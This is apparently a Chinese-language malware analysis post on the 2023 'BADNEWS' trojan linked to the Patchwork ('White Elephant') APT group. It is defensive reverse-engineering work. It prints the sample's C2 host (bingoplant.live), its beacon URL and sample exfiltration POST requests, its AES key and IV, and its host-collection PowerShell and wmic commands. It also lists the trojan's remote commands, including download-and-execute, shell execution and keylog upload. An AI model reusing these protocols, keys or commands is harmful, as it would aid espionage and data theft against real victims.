0|前言
文章主要以技术视角叙述木马运行全流程,对于同样在调试此样本的读者有更大的帮助,此木马开发层面存在几处代码错误,部分环节调试会有问题。但是毕竟是目标组织持续迭代更新的样本,还是值得学习的,熟悉和提取其相关特征,对病毒分析、流量分析都有一定的帮助。
1|背景
不同厂商对目标组织命名不同,如摩诃草(360安全)、别名白象(安天)、Patchwork(Cymmetria)、APT-Q-36(奇安信)等。
有间接证据表明白象组织为印度实体,其攻击目标所涉及的国家和地区分布非常广泛,除了中国和巴基斯坦等主要目标,还包括以色列、日本、中东、英国、美国、韩国以及中东和东南亚地区。以鱼叉式攻击为主,针对目标国家的航空、国防、能源、金融、政府、IT、媒体、非政府组织、制药、智库进行网络间谍活动,窃取敏感信息。
本次样本通过特定检索方式从VT获取,这是继“BADNEWS”样本2022年6月版本后曝光的最新的一版。从样本情况来看应该是以巴基斯坦地区为攻击目标的版本。
2|样本比对
2022年6月 | 2023年1月 |
|
MD5 |
3573fb365cb90f54324ed47ed2bfdfdb |
84f41114b0b9cbd4fd809dcef586e923 |
文件类型 |
windows32 PE |
windows32 PE |
上传时间(vt) | 2022-05-25 10:34:38 UTC | 2023-01-09 18:51:42 UTC |
创建时间 | 2022-05-22 09:00:32 UTC | 2022-09-16 07:51:42 UTC |
文件大小 |
342.95 KB | 545.41 KB |
3|样本运行流程和指令功能分析
八个指令码对应功能,后续会做详细说明。
指令码 |
函数功能 |
1(0x31) | 遍历指定目录文件列表写入到文件中并发送(__TDSYU) |
2(0x32) | 屏幕截图,将图片编码和加密上传(s.sys) |
3(0x33) | 释放内存,结束木马进程 |
4(0x34) | 从指定URL下载exe,保存为“TGJdbkds_[a-z]{4}.exe”文件名,并创建进程 |
5(0x35) | 将桌面的client_server.zip使用aes算法加密为“%temp%client_server“ |
6(0x36) | 上传Temp目录下键盘记录文件(atapi.sys) |
7(0x37) | 执行终端命令 |
8(0x38) | 从指定URL下载dll文件并保存 |
3.1|判断时区
完成初始化和基本的库函数加载。
获取当前系统时区,与“Pakistan Standard Time”(巴基斯坦标准时区)对比,若不同则结束程序运行。
修改PC时区于UTC+05:00,伊斯兰堡,即可绕过比对。(下图为时区获取函数返回值于寄存器EAX中)
3.2|收集系统信息
以函数指针的形式调用函数获取UUID(操作系统唯一的标识符)。
获取后回到主函数。
创建目录“C:UsersuserAppDataLocalTempSHYdbjkQ”。
使用管道执行命令“powershell -nop -c Get-Service 2>&1”,属性为”r”(读取子进程的标准输出),这可以视为一种无回显的隐蔽执行。用于获取计算机上的服务,包括服务的名称、状态、启动类型等信息。
收集服务信息如图。
将收集的服务信息创建并写入文件 “C:UsersuserAppDataLocalTempRTYgjfdg.sys”。
接下来会使用相同的方法搜集下图所示信息。
有一丢丢小问题的是,收集安装包信息“wmic product get name“没有执行成功,输出文件中没有看到应有的内容,反复跑了几遍都没有,应该是木马开发问题,与调试无关,阿三兄弟有点瓦呀,无伤大雅直接过。
文件部分信息如图(图中为服务信息)。
3.3|木马加密算法分析
经过分析比对,该样本使用了CryptoPP开源加密库AES-CBC-128加密算法(IDA7.0插件可直接识别),使用的KEY为字符串“b14ca5898a4e4133bbce2ea2315a191”,IV值为 “1234567891234567”。同时结合base64进行多次编码和加密。AES加密相关字段如下。
例如uuid字段加密和编码流程。先base64编码,做AES加密,再进行两次base64编码。反汇编代码如下。
AES加密对照如下。
详细运行参数和结果如下。
同时还使用异或加解密方式,例如发包参数“POST”等字段使用异或解密获得。
异或参数为“0xA”。
3.3.1|加密信息初始化和发包通讯分析
在完成字段的搜集来的信息加密操作后,自定义了部分字段,每个字段拼接其自定义对应的密文,用作后续的外传。包括路径“C:UsersqianlanAppDataLocalTempRTYgjfdg”的密文文件。
例如下图,qabc则为前叙uuid的密文。
对部分字符做宽字符转换,包括url “wnykzjzy2si478c7a2w/terncpx8yr2ufvisgd2j/x8jb9g97kkexor5ihnbq/d91ng62l00hc4vgaxkf.php”,contentype“Content-Type: application/x-www-form-urlencoded”等
加载winInet.dll,连续调用InternetOpenW()、InternetConnectW()、HttpOpenRequestW()、HttpSendRequestW(),完成初始化和发包操作,发包反汇编函数和发送上线数据包如下。
上线数据包会完成多次,上线数据包则包括所有搜集来的信息的密文,HTTP头和部分主体如下。
POST /vwnykzjzy2si478c7a2w/terncpx8yr2ufvisgd2j/x8jb9g97kkexor5ihnbq/d91ng62l00hc4vgaxkf.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: Mozilla/5.0
Host: bingoplant.live
Content-Length: 22019
qadc=fe92xhvtxqEMgSCzqeUkkvHlrTSQUIt2LqGIKwocaCD75pb7zs8R2VK3X8vliY2Eo0kv929Yhh6xE0XxNrtINw=
上线数据发送完毕后,木马会专门发送一个上线结束的数据包,如图所示。数据包中包含的字符串“ZG9uZQ==”是“done”经过Base64编码后的结果,如下图所示。上线结束包还包含一个固定的取值的字段“olmn=huik”。
完成“上线”和“上线结束”数据包发送后,将删除存储主机信息的明文文件“C:UsersqianlanAppDataLocalTempRTYgjfdg.sys”以及密文文件“C:UsersqianlanAppDataLocalTempRTYgjfdg”。功能代码如下。
3.4|木马功能分析
3.4.1|键盘记录
创建线程,线程函数功能为把键盘记录器记录(含窗口信息)存储在temp目录下atapi.sys文件中,后续会加密后上传。线程函数如下图。
atapi.sys文件创建如下图。
这里会做cpas lock,shift按键判断,获取窗口信息写入刚才创建的文件。
文件状态如下。
3.4.1|心跳包
上线数据发送完毕后,将进入心跳维持及接收指令分发和执行具体功能的阶段。木马会首先通过访问第三方服务(myexternalip.com)获取受害者网络的出口IP。该第三方服务是托管在Google上的一个专门获取外网IP的网站。获取ip功能模块如图。
改改hosts表,搭建一个web服务模拟访问路径,伪造一个c2让木马顺利获取ip。流量字节流如图所示。
InternetReadFile()获取到IP在内存中如图所示。
需要说明的是字段“SL”指示的是外网IP地址(后续的数据包示例中),当无法从第三方服务获取外网IP地址时,其字段取值将固定为“iXqPW+TBw16qYnKAFkByrg==”。字段“qcsnry”的内容“8e++MknuYQKU0S15hAX0lw==”来源为一个字符“1”经过Base64编码、AES加密、Base64编码后再使用“_”替换掉“+”的结果。请求头“User-Agent”字段的内容为:“E6 BD 8D E6 A5 BA E6 B1 AC E2 BD A1 E2 B8 B5 30”。
后续继续获取当前系统用户名、uuid等信息做编码处理,如图。
然后开辟内存,将处理后的密文做拼接处理,用作后续发包素材,拼接结果如图。
完成http发包,包括用户名、本地网络出口IP、uuid等信息。代码入下。
发送数据包内容如下。
POST /vwnykzjzy2si478c7a2w/terncpx8yr2ufvisgd2j/x8jb9g97kkexor5ihnbq/d91ng62l00hc4vgaxkf.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=utf-8
User-Agent: ...............0
Host: bingoplant.live
Content-Length: 203
SL=SWQeJyKwpsHEXLOhZLKybH7ectoz_1XH7iNErhi5LFw=&jsve=pfJpIeYwOM6ruNyfhvs7oQ==&qadc=fe92xhvtxqEMgSCzqeUkkvHlrTSQUIt2LqGIKwocaCD75pb7zs8R2VK3X8vliY2Eo0kv929Yhh6xE0XxNrtINw==&qcsnry=8e__MknuYQKU0S15hAX0lw==
程序会读取响应包,响应包中会包含指令码。
这里心跳包的响应就是循环接收指令了。
3.4.1|循环接收指令
指令码共计八个,不同指令对应不同样本功能,功能如下表。
指令码 |
函数功能 |
1(0x31) | 遍历指定目录文件列表写入到文件中并发送(__TDSYU) |
2(0x32) | 屏幕截图,将图片编码和加密上传(s.sys) |
3(0x33) | 释放内存,结束木马进程 |
4(0x34) | 从指定URL下载exe,保存为“TGJdbkds_[a-z]{4}.exe”文件名,并创建进程 |
5(0x35) | 将桌面的client_server.zip使用aes算法加密为“%temp%client_server“ |
6(0x36) | 上传Temp目录下键盘记录文件(atapi.sys) |
7(0x37) | 执行终端命令 |
8(0x38) | 从指定URL下载dll文件并保存 |
调试时可以用两种方式去触发对应指令码,一是尝试构造虚拟c2,但是需要去逆向指令码是如何做处理的,让木马获取到正常的指令信息,这个比较麻烦。二是在动态调试至最终获取指令码处,手动修改指令码。
最终获取指令码如图。
动态调试信息如图,内存地址00CFED94,其中a1的值就是指令码值,下一行00CFED96,”cmp a1,32″,及指令码2的函数入口。只需要修改最终获取的指令码值即可进入想调试的函数。
手动修改寄存器esi存储的指针地址对应地址的值,即可进入对应指令码的木马功能模块,如下图所示。
本篇文章已经很长了,分两篇写吧,下一篇会把所有木马对应指令功能调试一遍。
原文始发于微信公众号(帅仔回忆录):“白象”2023年迭代武器“badnews”分析(一)